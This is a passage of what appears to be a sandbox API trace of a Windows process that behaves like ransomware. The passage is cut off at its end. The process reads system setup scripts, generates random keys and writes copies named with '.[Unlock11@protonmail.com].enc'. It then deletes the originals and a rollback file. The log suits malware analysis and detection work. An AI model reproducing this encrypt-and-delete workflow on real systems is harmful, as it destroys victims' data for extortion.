[0112.857] GetCurrentThreadId () returned 0x9b0 [0112.857] GetLastError () returned 0x0 [0112.857] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xb1) returned 0x35c5908 [0112.857] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xb5) returned 0x35c5908 [0112.857] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de5e8 [0112.857] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0112.857] GetCurrentThreadId () returned 0x9b0 [0112.857] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xb8) returned 0x325ef30 [0112.857] GetLastError () returned 0x0 [0112.857] GetLastError () returned 0x0 [0112.858] GetLastError () returned 0x0 [0112.858] GetLastError () returned 0x0 [0112.858] GetCurrentThreadId () returned 0x9b0 [0112.858] GetLastError () returned 0x0 [0112.858] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x325ef30 | out: hHeap=0x2ad0000) returned 1 [0112.858] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0112.858] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0112.858] GetLastError () returned 0x0 [0112.858] GetLastError () returned 0x0 [0112.858] GetCurrentThreadId () returned 0x9b0 [0112.858] GetLastError () returned 0x0 [0112.858] GetLastError () returned 0x0 [0112.859] GetLastError () returned 0x0 [0112.859] GetCurrentThreadId () returned 0x9b0 [0112.859] GetLastError () returned 0x0 [0112.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c59c8 | out: hHeap=0x2ad0000) returned 1 [0112.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0112.859] GetLastError () returned 0x0 [0112.860] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0112.860] CloseHandle (hObject=0x3ac) returned 1 [0112.860] GetLastError () returned 0x0 [0112.860] GetCurrentThreadId () returned 0x9b0 [0112.860] GetLastError () returned 0x0 [0112.861] GetLastError () returned 0x0 [0112.861] CloseHandle (hObject=0x39c) returned 1 [0112.861] GetLastError () returned 0x0 [0112.861] GetCurrentThreadId () returned 0x9b0 [0112.861] GetLastError () returned 0x0 [0112.861] GetLastError () returned 0x0 [0112.861] GetLastError () returned 0x0 [0112.861] GetLastError () returned 0x0 [0112.861] GetLastError () returned 0x0 [0112.861] DeleteFileA (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 1 [0112.862] GetLastError () returned 0x0 [0112.862] GetCurrentThreadId () returned 0x9b0 [0112.862] GetLastError () returned 0x0 [0112.862] GetCurrentThreadId () returned 0x9b0 [0112.863] GetLastError () returned 0x0 [0112.863] GetLastError () returned 0x0 [0112.863] GetLastError () returned 0x0 [0112.863] GetLastError () returned 0x0 [0112.863] GetFullPathNameA (in: lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd", lpFilePart=0x9bada4*="PartnerSetupComplete.cmd") returned 0x2e [0112.863] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0112.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0112.863] GetCurrentThreadId () returned 0x9b0 [0112.863] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0112.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0112.863] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028300 [0112.863] GetLastError () returned 0x0 [0112.864] GetLastError () returned 0x0 [0112.864] GetLastError () returned 0x0 [0112.864] GetLastError () returned 0x0 [0112.864] GetCurrentThreadId () returned 0x9b0 [0112.864] GetLastError () returned 0x0 [0112.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028300 | out: hHeap=0x2ad0000) returned 1 [0112.864] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028300 [0112.864] GetLastError () returned 0x0 [0112.864] GetLastError () returned 0x0 [0112.864] GetLastError () returned 0x0 [0112.864] GetLastError () returned 0x0 [0112.865] GetCurrentThreadId () returned 0x9b0 [0112.865] GetLastError () returned 0x0 [0112.865] GetCurrentThreadId () returned 0x9b0 [0112.865] GetLastError () returned 0x0 [0112.865] GetLastError () returned 0x0 [0112.865] GetLastError () returned 0x0 [0112.865] GetLastError () returned 0x0 [0112.865] GetCurrentThreadId () returned 0x9b0 [0112.865] GetLastError () returned 0x0 [0112.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028300 | out: hHeap=0x2ad0000) returned 1 [0112.865] GetLastError () returned 0x0 [0112.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d65a0 | out: hHeap=0x2ad0000) returned 1 [0112.865] GetLastError () returned 0x0 [0112.866] GetLastError () returned 0x0 [0112.866] GetLastError () returned 0x0 [0112.866] GetCurrentThreadId () returned 0x9b0 [0112.866] GetLastError () returned 0x0 [0112.866] GetLastError () returned 0x0 [0112.866] GetLastError () returned 0x0 [0112.866] GetLastError () returned 0x0 [0112.866] GetLastError () returned 0x0 [0112.866] GetCurrentThreadId () returned 0x9b0 [0112.866] GetLastError () returned 0x0 [0112.866] GetCurrentThreadId () returned 0x9b0 [0112.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab28 | out: hHeap=0x2ad0000) returned 1 [0112.866] GetLastError () returned 0x0 [0112.867] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6708 | out: hHeap=0x2ad0000) returned 1 [0112.867] GetLastError () returned 0x0 [0112.867] GetLastError () returned 0x0 [0112.867] GetLastError () returned 0x0 [0112.867] GetCurrentThreadId () returned 0x9b0 [0112.867] GetLastError () returned 0x0 [0112.867] GetLastError () returned 0x0 [0112.867] GetLastError () returned 0x0 [0112.867] GetLastError () returned 0x0 [0112.867] GetLastError () returned 0x0 [0112.867] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0112.867] GetFileAttributesExA (in: lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241)) returned 1 [0112.868] GetLastError () returned 0x0 [0112.868] GetCurrentThreadId () returned 0x9b0 [0112.868] GetLastError () returned 0x0 [0112.868] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0112.868] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36628a4 | out: pbBuffer=0x36628a4) returned 1 [0112.868] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0112.868] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0112.868] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0112.869] GetCurrentThreadId () returned 0x9b0 [0112.869] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028300 [0112.869] GetLastError () returned 0x0 [0112.869] GetLastError () returned 0x0 [0112.869] GetLastError () returned 0x0 [0112.869] GetLastError () returned 0x0 [0112.869] GetCurrentThreadId () returned 0x9b0 [0112.869] GetLastError () returned 0x0 [0112.869] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028300 | out: hHeap=0x2ad0000) returned 1 [0112.870] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028300 [0112.870] GetCurrentThreadId () returned 0x9b0 [0112.870] GetLastError () returned 0x0 [0112.870] GetLastError () returned 0x0 [0112.870] GetLastError () returned 0x0 [0112.870] GetLastError () returned 0x0 [0112.870] GetCurrentThreadId () returned 0x9b0 [0112.870] GetLastError () returned 0x0 [0112.870] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028300 | out: hHeap=0x2ad0000) returned 1 [0112.870] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de508 [0112.870] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0112.870] GetLastError () returned 0x0 [0112.871] GetLastError () returned 0x0 [0112.871] GetLastError () returned 0x0 [0112.871] GetLastError () returned 0x0 [0112.871] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0112.871] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de5d8 [0112.871] GetLastError () returned 0x0 [0112.871] CreateFileA (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0112.871] GetFileType (hFile=0x39c) returned 0x1 [0112.871] GetLastError () returned 0x0 [0112.871] GetCurrentThreadId () returned 0x9b0 [0112.871] GetLastError () returned 0x0 [0112.872] GetFileType (hFile=0x39c) returned 0x1 [0112.872] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0112.872] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.872] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.872] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.872] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.872] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.872] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.872] GetLastError () returned 0x0 [0112.872] GetCurrentThreadId () returned 0x9b0 [0112.872] GetLastError () returned 0x0 [0112.872] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5d8 | out: hHeap=0x2ad0000) returned 1 [0112.872] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0112.873] GetLastError () returned 0x0 [0112.873] GetLastError () returned 0x0 [0112.873] GetLastError () returned 0x0 [0112.873] GetLastError () returned 0x0 [0112.873] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0112.873] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de5d8 [0112.873] GetLastError () returned 0x0 [0112.873] CreateFileA (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.[Unlock11@protonmail.com].enc" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0112.873] GetFileType (hFile=0x3ac) returned 0x1 [0112.874] GetLastError () returned 0x0 [0112.874] GetCurrentThreadId () returned 0x9b0 [0112.874] GetLastError () returned 0x0 [0112.874] GetFileType (hFile=0x3ac) returned 0x1 [0112.874] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0112.874] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.874] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.874] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.874] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.874] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.874] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.874] GetLastError () returned 0x0 [0112.874] GetCurrentThreadId () returned 0x9b0 [0112.874] GetLastError () returned 0x0 [0112.875] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5d8 | out: hHeap=0x2ad0000) returned 1 [0112.875] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1e88 | out: hHeap=0x2ad0000) returned 1 [0112.875] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0112.875] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0112.875] GetLastError () returned 0x0 [0112.875] GetLastError () returned 0x0 [0112.875] GetCurrentThreadId () returned 0x9b0 [0112.875] GetLastError () returned 0x0 [0112.875] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0112.875] GetLastError () returned 0x0 [0112.876] GetLastError () returned 0x0 [0112.876] GetCurrentThreadId () returned 0x9b0 [0112.876] GetLastError () returned 0x0 [0112.876] GetLastError () returned 0x0 [0112.877] GetLastError () returned 0x0 [0112.877] GetCurrentThreadId () returned 0x9b0 [0112.877] GetLastError () returned 0x0 [0112.877] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x256) returned 0x35c5908 [0112.877] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x265) returned 0x35c5908 [0112.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de5d8 [0112.878] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0112.878] GetCurrentThreadId () returned 0x9b0 [0112.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x268) returned 0x33d7920 [0112.878] GetLastError () returned 0x0 [0112.878] GetLastError () returned 0x0 [0112.878] GetLastError () returned 0x0 [0112.878] GetLastError () returned 0x0 [0112.878] GetCurrentThreadId () returned 0x9b0 [0112.878] GetLastError () returned 0x0 [0112.878] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d7920 | out: hHeap=0x2ad0000) returned 1 [0112.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0112.879] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0112.879] GetLastError () returned 0x0 [0112.879] GetLastError () returned 0x0 [0112.879] GetCurrentThreadId () returned 0x9b0 [0112.879] GetLastError () returned 0x0 [0112.879] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d64e0 | out: hHeap=0x2ad0000) returned 1 [0112.879] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5b78 [0112.879] GetLastError () returned 0x0 [0112.879] GetLastError () returned 0x0 [0112.879] GetCurrentThreadId () returned 0x9b0 [0112.879] GetLastError () returned 0x0 [0112.879] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5b78 | out: hHeap=0x2ad0000) returned 1 [0112.880] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0112.880] GetLastError () returned 0x0 [0112.881] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0112.881] CloseHandle (hObject=0x3ac) returned 1 [0112.881] GetLastError () returned 0x0 [0112.881] GetCurrentThreadId () returned 0x9b0 [0112.881] GetLastError () returned 0x0 [0112.881] GetLastError () returned 0x0 [0112.881] CloseHandle (hObject=0x39c) returned 1 [0112.881] GetLastError () returned 0x0 [0112.881] GetCurrentThreadId () returned 0x9b0 [0112.881] GetLastError () returned 0x0 [0112.882] GetLastError () returned 0x0 [0112.882] GetLastError () returned 0x0 [0112.882] GetLastError () returned 0x0 [0112.882] GetLastError () returned 0x0 [0112.882] DeleteFileA (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 1 [0112.883] GetLastError () returned 0x0 [0112.883] GetCurrentThreadId () returned 0x9b0 [0112.883] GetLastError () returned 0x0 [0112.883] GetCurrentThreadId () returned 0x9b0 [0112.883] GetLastError () returned 0x0 [0112.883] GetLastError () returned 0x0 [0112.883] GetLastError () returned 0x0 [0112.883] GetLastError () returned 0x0 [0112.883] GetFullPathNameA (in: lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\$GetCurrent\\SafeOS\\preoobe.cmd", lpFilePart=0x9bada4*="preoobe.cmd") returned 0x21 [0112.884] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0112.884] GetCurrentThreadId () returned 0x9b0 [0112.884] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0112.884] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0112.884] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0112.884] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028300 [0112.884] GetLastError () returned 0x0 [0112.884] GetLastError () returned 0x0 [0112.884] GetLastError () returned 0x0 [0112.884] GetLastError () returned 0x0 [0112.884] GetCurrentThreadId () returned 0x9b0 [0112.885] GetLastError () returned 0x0 [0112.885] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028300 | out: hHeap=0x2ad0000) returned 1 [0112.885] GetCurrentThreadId () returned 0x9b0 [0112.885] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028300 [0112.885] GetLastError () returned 0x0 [0112.885] GetLastError () returned 0x0 [0112.885] GetLastError () returned 0x0 [0112.885] GetLastError () returned 0x0 [0112.885] GetCurrentThreadId () returned 0x9b0 [0112.885] GetLastError () returned 0x0 [0112.885] GetLastError () returned 0x0 [0112.885] GetLastError () returned 0x0 [0112.886] GetLastError () returned 0x0 [0112.886] GetLastError () returned 0x0 [0112.886] GetCurrentThreadId () returned 0x9b0 [0112.886] GetLastError () returned 0x0 [0112.886] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028300 | out: hHeap=0x2ad0000) returned 1 [0112.886] GetLastError () returned 0x0 [0112.886] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d65a0 | out: hHeap=0x2ad0000) returned 1 [0112.886] GetLastError () returned 0x0 [0112.886] GetLastError () returned 0x0 [0112.886] GetLastError () returned 0x0 [0112.886] GetCurrentThreadId () returned 0x9b0 [0112.886] GetLastError () returned 0x0 [0112.886] GetCurrentThreadId () returned 0x9b0 [0112.887] GetLastError () returned 0x0 [0112.887] GetLastError () returned 0x0 [0112.887] GetLastError () returned 0x0 [0112.887] GetLastError () returned 0x0 [0112.887] GetCurrentThreadId () returned 0x9b0 [0112.887] GetLastError () returned 0x0 [0112.887] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aae8 | out: hHeap=0x2ad0000) returned 1 [0112.887] GetLastError () returned 0x0 [0112.887] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6708 | out: hHeap=0x2ad0000) returned 1 [0112.887] GetLastError () returned 0x0 [0112.887] GetLastError () returned 0x0 [0112.887] GetLastError () returned 0x0 [0112.888] GetCurrentThreadId () returned 0x9b0 [0112.888] GetLastError () returned 0x0 [0112.888] GetLastError () returned 0x0 [0112.888] GetLastError () returned 0x0 [0112.888] GetLastError () returned 0x0 [0112.888] GetLastError () returned 0x0 [0112.888] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0112.888] GetFileAttributesExA (in: lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a)) returned 1 [0112.888] GetLastError () returned 0x0 [0112.888] GetCurrentThreadId () returned 0x9b0 [0112.888] GetLastError () returned 0x0 [0112.889] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0112.889] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662944 | out: pbBuffer=0x3662944) returned 1 [0112.889] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0112.889] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0112.889] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0112.889] GetCurrentThreadId () returned 0x9b0 [0112.889] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028300 [0112.889] GetLastError () returned 0x0 [0112.889] GetLastError () returned 0x0 [0112.889] GetLastError () returned 0x0 [0112.889] GetLastError () returned 0x0 [0112.890] GetCurrentThreadId () returned 0x9b0 [0112.890] GetLastError () returned 0x0 [0112.890] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028300 | out: hHeap=0x2ad0000) returned 1 [0112.890] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x2a1f920 [0112.890] GetCurrentThreadId () returned 0x9b0 [0112.890] GetLastError () returned 0x0 [0112.890] GetLastError () returned 0x0 [0112.890] GetLastError () returned 0x0 [0112.890] GetLastError () returned 0x0 [0112.890] GetCurrentThreadId () returned 0x9b0 [0112.890] GetLastError () returned 0x0 [0112.890] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f920 | out: hHeap=0x2ad0000) returned 1 [0112.891] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de508 [0112.891] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0112.891] GetLastError () returned 0x0 [0112.891] GetLastError () returned 0x0 [0112.891] GetLastError () returned 0x0 [0112.891] GetLastError () returned 0x0 [0112.891] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0112.891] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de558 [0112.891] GetLastError () returned 0x0 [0112.891] CreateFileA (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0112.891] GetFileType (hFile=0x39c) returned 0x1 [0112.892] GetLastError () returned 0x0 [0112.892] GetCurrentThreadId () returned 0x9b0 [0112.892] GetLastError () returned 0x0 [0112.892] GetFileType (hFile=0x39c) returned 0x1 [0112.892] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0112.892] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.892] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.892] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.892] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.892] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.892] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.892] GetLastError () returned 0x0 [0112.893] GetCurrentThreadId () returned 0x9b0 [0112.893] GetLastError () returned 0x0 [0112.893] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de558 | out: hHeap=0x2ad0000) returned 1 [0112.893] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0112.893] GetLastError () returned 0x0 [0112.893] GetLastError () returned 0x0 [0112.893] GetLastError () returned 0x0 [0112.893] GetLastError () returned 0x0 [0112.893] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0112.893] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de578 [0112.893] GetLastError () returned 0x0 [0112.893] CreateFileA (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.[Unlock11@protonmail.com].enc" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0112.894] GetFileType (hFile=0x3ac) returned 0x1 [0112.894] GetLastError () returned 0x0 [0112.894] GetCurrentThreadId () returned 0x9b0 [0112.894] GetLastError () returned 0x0 [0112.894] GetFileType (hFile=0x3ac) returned 0x1 [0112.894] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0112.894] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.894] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: 